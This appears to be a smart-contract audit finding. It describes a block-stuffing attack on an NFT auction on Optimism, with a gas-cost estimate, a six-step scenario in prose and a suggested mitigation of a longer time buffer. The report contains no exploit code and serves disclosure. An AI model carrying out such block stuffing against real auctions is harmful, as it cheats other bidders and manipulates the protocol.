If a user is the current bidder and there is only the timeBuffer left (15 minutes for example), he can block stuff for 15 minutes straight to win the auction.

Let’s make some quick calculations:

timeBuffer == 15 minutes , this is the value used in the tests, so we’ll use it here.

15 minutes = 900 seconds

Optimism creates a block every 2 seconds, so in 15 minutes, there will be 450 blocks created on Optimism.

1 block = 30m gas, so 450 blocks will have 13.5b gas, which is ~3000 $.

Considering that the protocol auctions off NFT’s which can be sold for huge amounts (https://www.masoative.com/post/most-expensive-nft), spending an extra 3000$ to potentially win hundreds of thousands, even millions is a pretty lucrative deal.

The attack can get cheaper or more expensive, depending on the timebuffer .

Proof of Concept

Example:

1. An art piece is created through the CultureIndex
2. It gets dropped and the auction for it begins.
3. Users continue bidding, until a whale becomes the top bidder.
4. Only 15 minutes are left until the end of the auction (timeBuffer) and the whale wants to 100% win it.
5. He block stuffs 450 blocks, spending an extra 3000$ to make sure he wins the auction.
6. After the auction ends, he calls settleAuction which transfers the verb token to him, after which he can sell to make a profit.

The likelihood of this scenario is not uncommon at all, there have been several instances of block stuffing attacks where malicious actors used the technique to win lotteries/auctions etc. Considering how expensive some NFT’s are, the scenario is 100% possible.

You can read a bit more about block stuffing and how it was used to win a lottery here. https://medium.com/hackernoon/the-anatomy-of-a-block-stuffing-attack-a488698732ae

You can input the gas values here to see the current prices. https://www.cryptoneur.xyz/en/gas-fees-calculator

Tools Used

Manual Review

Recommended Mitigation Steps

I’m not sure what to recommend as there is no way to stop this sort of attack.

One possible way is to make timeBuffer much larger to make a block stuffing attack more expensive.

Assessed type

Other